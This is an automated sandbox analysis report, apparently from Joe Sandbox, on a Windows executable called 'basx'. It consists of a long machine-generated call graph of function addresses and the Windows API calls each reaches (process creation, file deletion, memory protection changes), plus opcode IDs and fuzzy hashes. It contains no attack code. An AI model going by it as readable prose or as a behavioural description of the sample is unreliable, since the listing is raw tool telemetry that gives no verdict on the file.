5695 40520c GetLocaleInfoA 5638->5695 5641 4031e8 18 API calls 5642 405404 5641->5642 5643 40520c 19 API calls 5642->5643 5644 405419 5643->5644 5645 40520c 19 API calls 5644->5645 5646 40543d 5645->5646 5701 405258 GetLocaleInfoA 5646->5701 5649 405258 GetLocaleInfoA 5650 40546d 5649->5650 5651 40520c 19 API calls 5650->5651 5652 405487 5651->5652 5653 405258 GetLocaleInfoA 5652->5653 5654 4054a4 5653->5654 5655 40520c 19 API calls 5654->5655 5656 4054be 5655->5656 5657 4031e8 18 API calls 5656->5657 5658 4054cb 5657->5658 5659 40520c 19 API calls 5658->5659 5660 4054e0 5659->5660 5661 4031e8 18 API calls 5660->5661 5662 4054ed 5661->5662 5663 405258 GetLocaleInfoA 5662->5663 5664 4054fb 5663->5664 5665 40520c 19 API calls 5664->5665 5666 405515 5665->5666 5667 4031e8 18 API calls 5666->5667 5668 405522 5667->5668 5669 40520c 19 API calls 5668->5669 5670 405537 5669->5670 5671 4031e8 18 API calls 5670->5671 5672 405544 5671->5672 5673 40520c 19 API calls 5672->5673 5674 405559 5673->5674 5675 405576 5674->5675 5676 405567 5674->5676 5678 40322c 4 API calls 5675->5678 5703 40322c 5676->5703 5679 405574 5678->5679 5680 40520c 19 API calls 5679->5680 5681 405598 5680->5681 5682 4055b5 5681->5682 5683 4055a6 5681->5683 5685 403198 4 API calls 5682->5685 5684 40322c 4 API calls 5683->5684 5686 4055b3 5684->5686 5685->5686 5687 4033b4 18 API calls 5686->5687 5688 4055d7 5687->5688 5689 4033b4 18 API calls 5688->5689 5690 4055f1 5689->5690 5691 4031b8 4 API calls 5690->5691 5692 40560b 5691->5692 5693 405cf4 GetVersionExA 5692->5693 5694 405d0b 5693->5694 5694->5463 5696 405233 5695->5696 5697 405245 5695->5697 5698 403278 18 API calls 5696->5698 5699 40322c 4 API calls 5697->5699 5700 405243 5698->5700 5699->5700 5700->5641 5702 405274 5701->5702 5702->5649 5705 403230 5703->5705 5704 403252 5704->5679 5705->5704 5706 4025ac 4 API calls 5705->5706 5706->5704 5711 403414 5707->5711 5710 406fee 5710->5523 5712 403418 LoadLibraryA 5711->5712 5712->5710 5714 406af0 18 API calls 5713->5714 5715 406bf3 5714->5715 5716 406af0 18 API calls 5715->5716 5717 406c05 5715->5717 5716->5715 5718 403198 4 API calls 5717->5718 5719 406c1a 5718->5719 5719->5540 5721 407578 5720->5721 5722 4075b7 CreateFileA 5721->5722 5722->5557 5724 403414 5723->5724 5725 4075b7 CreateFileA 5724->5725 5725->5557 5727 407cd3 5726->5727 5731 407cc8 5726->5731 5732 407c5c 5727->5732 5730 405890 18 API calls 5730->5731 5731->5594 5733 407c70 5732->5733 5734 407caf 5732->5734 5733->5734 5736 407bac 5733->5736 5734->5730 5734->5731 5737 407bb7 5736->5737 5738 407bc8 5736->5738 5739 405890 18 API calls 5737->5739 5740 4074a0 34 API calls 5738->5740 5739->5738 5741 407bdc 5740->5741 5742 4074a0 34 API calls 5741->5742 5743 407bfd 5742->5743 5744 407918 InterlockedExchange 5743->5744 5745 407c12 5744->5745 5746 407c28 5745->5746 5747 405890 18 API calls 5745->5747 5746->5733 5747->5746 5749 402598 5748->5749 5751 4025a2 5748->5751 5754 401fd4 5749->5754 5750 40259e 5750->5751 5752 403154 4 API calls 5750->5752 5751->5621 5751->5751 5752->5751 5755 401fe8 5754->5755 5756 401fed 5754->5756 5765 401918 RtlInitializeCriticalSection 5755->5765 5758 402012 RtlEnterCriticalSection 5756->5758 5759 40201c 5756->5759 5762 401ff1 5756->5762 5758->5759 5759->5762 5772 401ee0 5759->5772 5762->5750 5763 402147 5763->5750 5764 40213d RtlLeaveCriticalSection 5764->5763 5766 40193c RtlEnterCriticalSection 5765->5766 5767 401946 5765->5767 5766->5767 5768 401964 LocalAlloc 5767->5768 5769 40197e 5768->5769 5770 4019c3 RtlLeaveCriticalSection 5769->5770 5771 4019cd 5769->5771 5770->5771 5771->5756 5775 401ef0 5772->5775 5773 401f1c 5777 401f40 5773->5777 5783 401d00 5773->5783 5775->5773 5775->5777 5778 401e58 5775->5778 5777->5763 5777->5764 5787 4016d8 5778->5787 5781 401e75 5781->5775 5784 401d4e 5783->5784 5785 401d1e 5783->5785 5784->5785 5856 401c68 5784->5856 5785->5777 5790 4016f4 5787->5790 5789 4016fe 5812 4015c4 5789->5812 5790->5789 5792 40175b 5790->5792 5795 40174f 5790->5795 5804 401430 5790->5804 5816 40132c 5790->5816 5792->5781 5797 401dcc 5792->5797 5794 40170a 5794->5792 5820 40150c 5795->5820 5830 401d80 5797->5830 5800 40132c LocalAlloc 5802 401df0 5800->5802 5801 401df8 5801->5781 5802->5801 5834 401b44 5802->5834 5805 40143f VirtualAlloc 5804->5805 5807 40146c 5805->5807 5808 40148f 5805->5808 5824 4012e4 5807->5824 5808->5790 5811 40147c VirtualFree 5811->5808 5814 40160a 5812->5814 5813 40163a 5813->5794 5814->5813 5815 401626 VirtualAlloc 5814->5815 5815->5813 5815->5814 5817 401348 5816->5817 5818 4012e4 LocalAlloc 5817->5818 5819 40138f 5818->5819 5819->5790 5823 40153b 5820->5823 5821 401594 5821->5792 5822 401568 VirtualFree 5822->5823 5823->5821 5823->5822 5827 40128c 5824->5827 5828 401298 LocalAlloc 5827->5828 5829 4012aa 5827->5829 5828->5829 5829->5808 5829->5811 5831 401d92 5830->5831 5832 401d89 5830->5832 5831->5800 5832->5831 5839 401b74 5832->5839 5835 401b61 5834->5835 5836 401b52 5834->5836 5835->5801 5837 401d00 9 API calls 5836->5837 5838 401b5f 5837->5838 5838->5801 5842 40215c 5839->5842 5841 401b95 5841->5831 5843 40217a 5842->5843 5844 402175 5842->5844 5846 4021ab RtlEnterCriticalSection 5843->5846 5849 40217e 5843->5849 5854 4021b5 5843->5854 5845 401918 4 API calls 5844->5845 5845->5843 5846->5854 5847 4021c1 5850 4022e3 RtlLeaveCriticalSection 5847->5850 5851 4022ed 5847->5851 5848 402244 5848->5849 5852 401d80 7 API calls 5848->5852 5849->5841 5850->5851 5851->5841 5852->5849 5853 402270 5853->5847 5855 401d00 7 API calls 5853->5855 5854->5847 5854->5848 5854->5853 5855->5847 5857 401c7a 5856->5857 5858 401c9d 5857->5858 5859 401caf 5857->5859 5869 40188c 5858->5869 5861 40188c 3 API calls 5859->5861 5862 401cad 5861->5862 5863 401b44 9 API calls 5862->5863 5868 401cc5 5862->5868 5864 401cd4 5863->5864 5865 401cee 5864->5865 5879 401b98 5864->5879 5884 4013a0 5865->5884 5868->5785 5870 4018b2 5869->5870 5878 40190b 5869->5878 5888 401658 5870->5888 5873 40132c LocalAlloc 5874 4018cf 5873->5874 5875 4018e6 5874->5875 5876 40150c VirtualFree 5874->5876 5877 4013a0 LocalAlloc 5875->5877 5875->5878 5876->5875 5877->5878 5878->5862 5880 401bab 5879->5880 5881 401b9d 5879->5881 5880->5865 5882 401b74 9 API calls 5881->5882 5883 401baa 5882->5883 5883->5865 5885 4013ab 5884->5885 5886 4013c6 5885->5886 5887 4012e4 LocalAlloc 5885->5887 5886->5868 5887->5886 5889 40168f 5888->5889 5890 4016cf 5889->5890 5891 4016a9 VirtualFree 5889->5891 5890->5873 5891->5889 6848 402dfa 6849 402e26 6848->6849 6850 402e0d 6848->6850 6852 402ba4 6850->6852 6853 402bc9 6852->6853 6854 402bad 6852->6854 6853->6849 6855 402bb5 RaiseException 6854->6855 6855->6853 6856 4075fa GetFileSize 6857 407626 6856->6857 6858 407616 GetLastError 6856->6858 6858->6857 6859 40761f 6858->6859 6860 40748c 35 API calls 6859->6860 6860->6857 6861 406ffb 6862 407008 SetErrorMode 6861->6862 6530 403a80 CloseHandle 6531 403a90 6530->6531 6532 403a91 GetLastError 6530->6532 6533 404283 6534 4042c3 6533->6534 6535 403154 4 API calls 6534->6535 6536 404323 6535->6536 6863 404185 6864 4041ff 6863->6864 6865 403154 4 API calls 6864->6865 6866 4041cc 6864->6866 6867 404323 6865->6867 6537 403e87 6538 403e4c 6537->6538 6539 403e62 6538->6539 6540 403e7b 6538->6540 6541 403e67 6538->6541 6546 403cc8 6539->6546 6542 402674 4 API calls 6540->6542 6544 403e78 6541->6544 6550 402674 6541->6550 6542->6544 6547 403cd6 6546->6547 6548 402674 4 API calls 6547->6548 6549 403ceb 6547->6549 6548->6549 6549->6541 6551 403154 4 API calls 6550->6551 6552 40267a 6551->6552 6552->6544 6561 407e90 6562 407eb8 VirtualFree 6561->6562 6563 407e9d 6562->6563 6566 403e95 6567 403e4c 6566->6567 6568 403e62 6567->6568 6569 403e7b 6567->6569 6570 403e67 6567->6570 6572 403cc8 4 API calls 6568->6572 6571 402674 4 API calls 6569->6571 6573 403e78 6570->6573 6574 402674 4 API calls 6570->6574 6571->6573 6572->6570 6574->6573 6575 40ac97 6584 4096fc 6575->6584 6578 402f24 5 API calls 6579 40aca1 6578->6579 6580 403198 4 API calls 6579->6580 6581 40acc0 6580->6581 6582 403198 4 API calls 6581->6582 6583 40acc8 6582->6583 6593 4056ac 6584->6593 6586 409745 6589 403198 4 API calls 6586->6589 6587 409717 6587->6586 6599 40720c 6587->6599 6591 40975a 6589->6591 6590 409735 6592 40973d MessageBoxA 6590->6592 6591->6578 6591->6579 6592->6586 6594 403154 4 API calls 6593->6594 6595 4056b1 6594->6595 6596 4056c9 6595->6596 6597 403154 4 API calls 6595->6597 6596->6587 6598 4056bf 6597->6598 6598->6587 6600 4056ac 4 API calls 6599->6600 6601 40721b 6600->6601 6602 407221 6601->6602 6604 40722f 6601->6604 6603 40322c 4 API calls 6602->6603 6605 40722d 6603->6605 6606 40724b 6604->6606 6607 40723f 6604->6607 6605->6590 6617 4032b8 6606->6617 6610 4071d0 6607->6610 6611 40322c 4 API calls 6610->6611 6612 4071df 6611->6612 6613 4071fc 6612->6613 6614 406950 CharPrevA 6612->6614 6613->6605 6615 4071eb 6614->6615 6615->6613 6616 4032fc 18 API calls 6615->6616 6616->6613 6618 403278 18 API calls 6617->6618 6619 4032c2 6618->6619 6619->6605 6620 403a97 6621 403aac 6620->6621 6622 403bbc GetStdHandle 6621->6622 6623 403b0e CreateFileA 6621->6623 6624 403ab2 6621->6624 6625 403c17 GetLastError 6622->6625 6637 403bba 6622->6637 6623->6625 6626 403b2c 6623->6626 6625->6624 6628 403b3b GetFileSize 6626->6628 6626->6637 6628->6625 6629 403b4e SetFilePointer 6628->6629 6629->6625 6633 403b6a ReadFile 6629->6633 6630 403be7 GetFileType 6630->6624 6632 403c02 CloseHandle 6630->6632 6632->6624 6633->6625 6634 403b8c 6633->6634 6635 403b9f SetFilePointer 6634->6635 6634->6637 6635->6625 6636 403bb0 SetEndOfFile 6635->6636 6636->6625 6636->6637 6637->6624 6637->6630 6642 40aaa2 6643 40aad2 6642->6643 6644 40aadc CreateWindowExA SetWindowLongA 6643->6644 6645 405194 33 API calls 6644->6645 6646 40ab5f 6645->6646 6647 4032fc 18 API calls 6646->6647 6648 40ab6d 6647->6648 6649 4032fc 18 API calls 6648->6649 6650 40ab7a 6649->6650 6651 406b7c 19 API calls 6650->6651 6652 40ab86 6651->6652 6653 4032fc 18 API calls 6652->6653 6654 40ab8f 6653->6654 6655 4099ec 43 API calls 6654->6655 6656 40aba1 6655->6656 6657 4098cc 19 API calls 6656->6657 6658 40abb4 6656->6658 6657->6658 6659 40abed 6658->6659 6660 4094d8 9 API calls 6658->6660 6661 40ac06 6659->6661 6664 40ac00 RemoveDirectoryA 6659->6664 6660->6659 6662 40ac1a 6661->6662 6663 40ac0f DestroyWindow 6661->6663 6665 40ac42 6662->6665 6666 40357c 4 API calls 6662->6666 6663->6662 6664->6661 6667 40ac38 6666->6667 6668 4025ac 4 API calls 6667->6668 6668->6665 6880 405ba2 6882 405ba4 6880->6882 6881 405be0 6885 405940 19 API calls 6881->6885 6882->6881 6883 405bf7 6882->6883 6884 405bda 6882->6884 6888 404cdc 19 API calls 6883->6888 6884->6881 6886 405c4c 6884->6886 6893 405bf3 6885->6893 6887 4059b0 33 API calls 6886->6887 6887->6893 6890 405c20 6888->6890 6889 403198 4 API calls 6891 405c86 6889->6891 6892 4059b0 33 API calls 6890->6892 6892->6893 6893->6889 6894 408da4 6895 408dc8 6894->6895 6896 408c80 18 API calls 6895->6896 6897 408dd1 6896->6897 6669 402caa 6670 403154 4 API calls 6669->6670 6671 402caf 6670->6671 6912 4011aa 6913 4011ac GetStdHandle 6912->6913 6672 4028ac 6673 402594 18 API calls 6672->6673 6674 4028b6 6673->6674 4983 40aab4 4984 40aab8 SetLastError 4983->4984 5015 409648 GetLastError 4984->5015 4988 40aad2 4989 40aadc CreateWindowExA SetWindowLongA 4988->4989 5028 405194 4989->5028 4993 40ab6d 4994 4032fc 18 API calls 4993->4994 4995 40ab7a 4994->4995 5045 406b7c GetCommandLineA 4995->5045 4998 4032fc 18 API calls 4999 40ab8f 4998->4999 5050 4099ec 4999->5050 5001 40aba1 5003 40abb4 5001->5003 5071 4098cc 5001->5071 5004 40abd4 5003->5004 5005 40abed 5003->5005 5077 4094d8 5004->5077 5007 40ac06 5005->5007 5010 40ac00 RemoveDirectoryA 5005->5010 5008 40ac1a 5007->5008 5009 40ac0f DestroyWindow 5007->5009 5014 40ac42 5008->5014 5085 40357c 5008->5085 5009->5008 5010->5007 5012 40ac38 5098 4025ac 5012->5098 5103 404c94 5015->5103 5023 4096c3 5118 4031b8 5023->5118 5029 4051a8 33 API calls 5028->5029 5030 4051a3 5029->5030 5031 4032fc 5030->5031 5032 403300 5031->5032 5033 40333f 5031->5033 5034 4031e8 5032->5034 5035 40330a 5032->5035 5033->4993 5041 403254 18 API calls 5034->5041 5042 4031fc 5034->5042 5036 403334 5035->5036 5037 40331d 5035->5037 5038 4034f0 18 API calls 5036->5038 5279 4034f0 5037->5279 5044 403322 5038->5044 5039 403228 5039->4993 5041->5042 5042->5039 5043 4025ac 4 API calls 5042->5043 5043->5039 5044->4993 5305 406af0 5045->5305 5047 406ba1 5048 403198 4 API calls 5047->5048 5049 406bbf 5048->5049 5049->4998 5319 4033b4 5050->5319 5052 409a27 5053 409a59 CreateProcessA 5052->5053 5054 409a65 5053->5054 5055 409a6c CloseHandle 5053->5055 5056 409648 35 API calls 5054->5056 5057 409a75 5055->5057 5056->5055 5058 4099c0 TranslateMessage DispatchMessageA PeekMessageA 5057->5058 5059 409a7a MsgWaitForMultipleObjects 5058->5059 5059->5057 5060 409a91 5059->5060 5061 4099c0 TranslateMessage DispatchMessageA PeekMessageA 5060->5061 5062 409a96 GetExitCodeProcess CloseHandle 5061->5062 5063 409ab6 5062->5063 5064 403198 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 5063->5064 5065 409abe 5064->5065 5065->5001 5066 402f24 5067 403154 4 API calls 5066->5067 5068 402f29 5067->5068 5325 402bcc 5068->5325 5070 402f51 5070->5070 5072 40990e 5071->5072 5073 4098d4 5071->5073 5072->5003 5073->5072 5074 403420 18 API calls 5073->5074 5075 409908 5074->5075 5328 408e80 5075->5328 5078 409532 5077->5078 5082 4094eb 5077->5082 5078->5005 5079 4094f3 Sleep 5079->5082 5080 409503 Sleep 5080->5082 5082->5078 5082->5079 5082->5080 5083 40951a GetLastError 5082->5083 5351 408fbc 5082->5351 5083->5078 5084 409524 GetLastError 5083->5084 5084->5078 5084->5082 5086 403591 5085->5086 5087 4035a0 5085->5087 5090 4035d0 5086->5090 5091 40359b 5086->5091 5095 4035b6 5086->5095 5088 4035b1 5087->5088 5089 4035b8 5087->5089 5092 403198 4 API calls 5088->5092 5093 4031b8 4 API calls 5089->5093 5090->5095 5096 40357c 4 API calls 5090->5096 5091->5087 5094 4035ec 5091->5094 5092->5095 5093->5095 5094->5095 5368 403554 5094->5368 5095->5012 5096->5090 5099 4025ba 5098->5099 5101 4025b0 5098->5101 5099->5014 5100 402632 5100->5100 5101->5099 5101->5100 5102 403154 4 API calls 5101->5102 5102->5100 5126 4051a8 5103->5126 5106 407284 FormatMessageA 5107 4072aa 5106->5107 5108 403278 18 API calls 5107->5108 5109 4072c7 5108->5109 5110 408da8 5109->5110 5111 408dc8 5110->5111 5269 408c80 5111->5269 5114 405890 5115 405897 5114->5115 5116 4031e8 18 API calls 5115->5116 5117 4058af 5116->5117 5117->5023 5120 4031be 5118->5120 5119 4031e3 5122 403198 5119->5122 5120->5119 5121 4025ac 4 API calls 5120->5121 5121->5120 5123 4031b7 5122->5123 5124 40319e 5122->5124 5123->4988 5123->5066 5124->5123 5125 4025ac 4 API calls 5124->5125 5125->5123 5127 4051c5 5126->5127 5134 404e58 5127->5134 5130 4051f1 5139 403278 5130->5139 5136 404e73 5134->5136 5135 404e85 5135->5130 5144 404be4 5135->5144 5136->5135 5147 404f7a 5136->5147 5154 404e4c 5136->5154 5140 403254 18 API calls 5139->5140 5141 403288 5140->5141 5142 403198 4 API calls 5141->5142 5143 4032a0 5142->5143 5143->5106 5261 405940 5144->5261 5146 404bf5 5146->5130 5148 404f8b 5147->5148 5151 404fd9 5147->5151 5148->5151 5152 40505f 5148->5152 5150 404ff7 5150->5136 5151->5150 5157 404df4 5151->5157 5152->5150 5161 404e38 5152->5161 5155 403198 4 API calls 5154->5155 5156 404e56 5155->5156 5156->5136 5158 404e02 5157->5158 5164 404bfc 5158->5164 5160 404e30 5160->5151 5191 4039a4 5161->5191 5167 4059b0 5164->5167 5166 404c15 5166->5160 5168 4059be 5167->5168 5177 404cdc LoadStringA 5168->5177 5171 405194 33 API calls 5172 4059f6 5171->5172 5180 4031e8 5172->5180 5175 4031b8 4 API calls 5176 405a1b 5175->5176 5176->5166 5178 403278 18 API calls 5177->5178 5179 404d09 5178->5179 5179->5171 5181 4031ec 5180->5181 5183 4031fc 5180->5183 5181->5183 5186 403254 5181->5186 5182 403228 5182->5175 5183->5182 5185 4025ac 4 API calls 5183->5185 5185->5182 5187 403274 5186->5187 5188 403258 5186->5188 5187->5183 5189 402594 18 API calls 5188->5189 5190 403261 5189->5190 5190->5183 5192 4039ab 5191->5192 5197 4038b4 5192->5197 5194 4039cb 5195 403198 4 API calls 5194->5195 5196 4039d2 5195->5196 5196->5150 5198 4038d5 5197->5198 5199 4038c8 5197->5199 5201 403934 5198->5201 5202 4038db 5198->5202 5225 403780 5199->5225 5203 403993 5201->5203 5204 40393b 5201->5204 5205 4038e1 5202->5205 5206 4038ee 5202->5206 5208 4037f4 3 API calls 5203->5208 5209 403941 5204->5209 5210 40394b 5204->5210 5232 403894 5205->5232 5207 403894 6 API calls 5206->5207 5213 4038fc 5207->5213 5211 4038d0 5208->5211 5247 403864 5209->5247 5215 4037f4 3 API calls 5210->5215 5211->5194 5237 4037f4 5213->5237 5216 40395d 5215->5216 5218 403864 23 API calls 5216->5218 5220 403976 5218->5220 5219 403917 5243 40374c 5219->5243 5222 40374c VariantClear 5220->5222 5224 40398b 5222->5224 5223 40392c 5223->5194 5224->5194 5226 4037f0 5225->5226 5231 403744 5225->5231 5226->5211 5227 4037ab 5227->5211 5228 403793 VariantClear 5228->5231 5229 4037dc VariantCopyInd 5229->5226 5229->5231 5230 403198 4 API calls 5230->5231 5231->5225 5231->5227 5231->5228 5231->5229 5231->5230 5252 4036b8 5232->5252 5235 40374c VariantClear 5236 4038a9 5235->5236 5236->5211 5238 403845 VariantChangeTypeEx 5237->5238 5239 40380a VariantChangeTypeEx 5237->5239 5240 403832 5238->5240 5241 403826 5239->5241 5240->5219 5242 40374c VariantClear 5241->5242 5242->5240 5244 403766 5243->5244 5245 403759 5243->5245 5244->5223 5245->5244 5246 403779 VariantClear 5245->5246 5246->5223 5258 40369c SysStringLen 5247->5258 5250 40374c VariantClear 5251 403882 5250->5251 5251->5211 5253 4036cb 5252->5253 5254 403706 MultiByteToWideChar SysAllocStringLen MultiByteToWideChar 5253->5254 5255 4036db 5253->5255 5256 40372e 5254->5256 5257 4036ed MultiByteToWideChar SysAllocStringLen 5255->5257 5256->5235 5257->5256 5259 403610 21 API calls 5258->5259 5260 4036b3 5259->5260 5260->5250 5262 40594c 5261->5262 5263 404cdc 19 API calls 5262->5263 5264 405972 5263->5264 5265 4031e8 18 API calls 5264->5265 5266 40597d 5265->5266 5267 403198 4 API calls 5266->5267 5268 405992 5267->5268 5268->5146 5270 403198 4 API calls 5269->5270 5272 408cb1 5269->5272 5270->5272 5271 4031b8 4 API calls 5273 408d69 5271->5273 5274 408cc8 5272->5274 5275 403278 18 API calls 5272->5275 5277 4032fc 18 API calls 5272->5277 5278 408cdc 5272->5278 5273->5114 5276 4032fc 18 API calls 5274->5276 5275->5272 5276->5278 5277->5272 5278->5271 5280 4034fd 5279->5280 5287 40352d 5279->5287 5281 403526 5280->5281 5283 403509 5280->5283 5284 403254 18 API calls 5281->5284 5282 403198 4 API calls 5285 403517 5282->5285 5288 4025c4 5283->5288 5284->5287 5285->5044 5287->5282 5289 4025ca 5288->5289 5290 4025dc 5289->5290 5292 403154 5289->5292 5290->5285 5290->5290 5293 403164 5292->5293 5294 40318c TlsGetValue 5292->5294 5293->5290 5295 403196 5294->5295 5296 40316f 5294->5296 5295->5290 5300 40310c 5296->5300 5298 403174 TlsGetValue 5299 403184 5298->5299 5299->5290 5301 403120 LocalAlloc 5300->5301 5302 403116 5300->5302 5303 40313e TlsSetValue 5301->5303 5304 403132 5301->5304 5302->5301 5303->5304 5304->5298 5306 406b1c 5305->5306 5307 403278 18 API calls 5306->5307 5308 406b29 5307->5308 5315 403420 5308->5315 5310 406b31 5311 4031e8 18 API calls 5310->5311 5312 406b49 5311->5312 5313 403198 4 API calls 5312->5313 5314 406b6b 5313->5314 5314->5047 5316 403426 5315->5316 5318 403437 5315->5318 5317 403254 18 API calls 5316->5317 5316->5318 5317->5318 5318->5310 5320 4033bc 5319->5320 5321 403254 18 API calls 5320->5321 5322 4033cf 5321->5322 5323 4031e8 18 API calls 5322->5323 5324 4033f7 5323->5324 5326 402bd5 RaiseException 5325->5326 5327 402be6 5325->5327 5326->5327 5327->5070 5329 408e8e 5328->5329 5331 408ea6 5329->5331 5341 408e18 5329->5341 5332 408e18 18 API calls 5331->5332 5333 408eca 5331->5333 5332->5333 5344 407918 5333->5344 5335 408ee5 5336 408e18 18 API calls 5335->5336 5337 408ef8 5335->5337 5336->5337 5338 408e18 18 API calls 5337->5338 5339 403278 18 API calls 5337->5339 5340 408f27 5337->5340 5338->5337 5339->5337 5340->5072 5342 405890 18 API calls 5341->5342 5343 408e29 5342->5343 5343->5331 5347 4078c4 5344->5347 5348 4078d6 5347->5348 5349 4078e7 5347->5349 5350 4078db InterlockedExchange 5348->5350 5349->5335 5350->5349 5359 408f70 5351->5359 5353 408fd6 5353->5082 5354 408fd2 5354->5353 5355 408ff2 DeleteFileA GetLastError 5354->5355 5356 409010 5355->5356 5365 408fac 5356->5365 5360 408f7a 5359->5360 5361 408f7e 5359->5361 5360->5354 5362 408fa0 SetLastError 5361->5362 5363 408f87 Wow64DisableWow64FsRedirection 5361->5363 5364 408f9b 5362->5364 5363->5364 5364->5354 5366 408fb1 Wow64RevertWow64FsRedirection 5365->5366 5367 408fbb 5365->5367 5366->5367 5367->5082 5370 403566 5368->5370 5371 403578 5370->5371 5372 403604 5370->5372 5371->5094 5373 40357c 5372->5373 5376 40359b 5373->5376 5379 4035d0 5373->5379 5380 4035a0 5373->5380 5382 4035b6 5373->5382 5374 4035b1 5377 403198 4 API calls 5374->5377 5375 4035b8 5378 4031b8 4 API calls 5375->5378 5376->5380 5381 4035ec 5376->5381 5377->5382 5378->5382 5379->5382 5383 40357c 4 API calls 5379->5383 5380->5374 5380->5375 5381->5382 5384 403554 4 API calls 5381->5384 5382->5370 5383->5379 5384->5381 6675 401ab9 6676 401a96 6675->6676 6677 401aa9 RtlDeleteCriticalSection 6676->6677 6678 401a9f RtlLeaveCriticalSection 6676->6678 6678->6677

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 116 409b78-409b9c GetSystemInfo VirtualQuery 117 409ba2 116->117 118 409c2c-409c33 116->118 119 409c21-409c26 117->119 119->118 120 409ba4-409bab 119->120 121 409c0d-409c1f VirtualQuery 120->121 122 409bad-409bb1 120->122 121->118 121->119 122->121 123 409bb3-409bbb 122->123 124 409bcc-409bdd VirtualProtect 123->124 125 409bbd-409bc0 123->125 127 409be1-409be3 124->127 128 409bdf 124->128 125->124 126 409bc2-409bc5 125->126 126->124 129 409bc7-409bca 126->129 130 409bf2-409bf5 127->130 128->127 129->124 129->127 131 409be5-409bee call 409b70 130->131 132 409bf7-409bf9 130->132 131->130 132->121 133 409bfb-409c08 VirtualProtect 132->133 133->121
                                                                                          APIs
                                                                                          • GetSystemInfo.KERNEL32(?), ref: 00409B8A
                                                                                          • VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409B95
                                                                                          • VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409BD6
                                                                                          • VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409C08
                                                                                          • VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409C18
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Virtual$ProtectQuery$InfoSystem
                                                                                          • String ID:
                                                                                          • API String ID: 2441996862-0
                                                                                          • Opcode ID: 69cc1b0b9b744b29044eea84e4744ba7a66f7205e02ae19cc0529fdcfa929845
                                                                                          • Instruction ID: 4a1d84bb43d4a47cf168f169447d483ed62c711ee8ccb48f5bfbfd053dbeaed9
                                                                                          • Opcode Fuzzy Hash: 69cc1b0b9b744b29044eea84e4744ba7a66f7205e02ae19cc0529fdcfa929845
                                                                                          • Instruction Fuzzy Hash: D421A1B16043006BDA309AA99C85E57B7E8AF45360F144C2BFA99E72C3D239FC40C669
                                                                                          APIs
                                                                                          • GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoLocale
                                                                                          • String ID:
                                                                                          • API String ID: 2299586839-0
                                                                                          • Opcode ID: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
                                                                                          • Instruction ID: 1248db9972fbf410c55bf070b604c98f5d62b90992f8f49b6b6440a9954d2c50
                                                                                          • Opcode Fuzzy Hash: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
                                                                                          • Instruction Fuzzy Hash: E2E0927170021427D710A9A99C86AEB725CEB58310F0002BFB904E73C6EDB49E804AED

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,?,0040A618), ref: 00404582
                                                                                          • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040458F
                                                                                          • GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004045A5
                                                                                          • GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004045BB
                                                                                          • SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,0040A618), ref: 004045C6
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$HandleModulePolicyProcess
                                                                                          • String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
                                                                                          • API String ID: 3256987805-3653653586
                                                                                          • Opcode ID: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
                                                                                          • Instruction ID: 1f393095ee8ecda9e1e01b6ca7d440447e938bbc9796bcd5dbe8d266940e5f64
                                                                                          • Opcode Fuzzy Hash: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
                                                                                          • Instruction Fuzzy Hash: 5FE02DD03813013AEA5032F20D83B2B20884AD0B49B2414377F25B61C3EDBDDA40587E

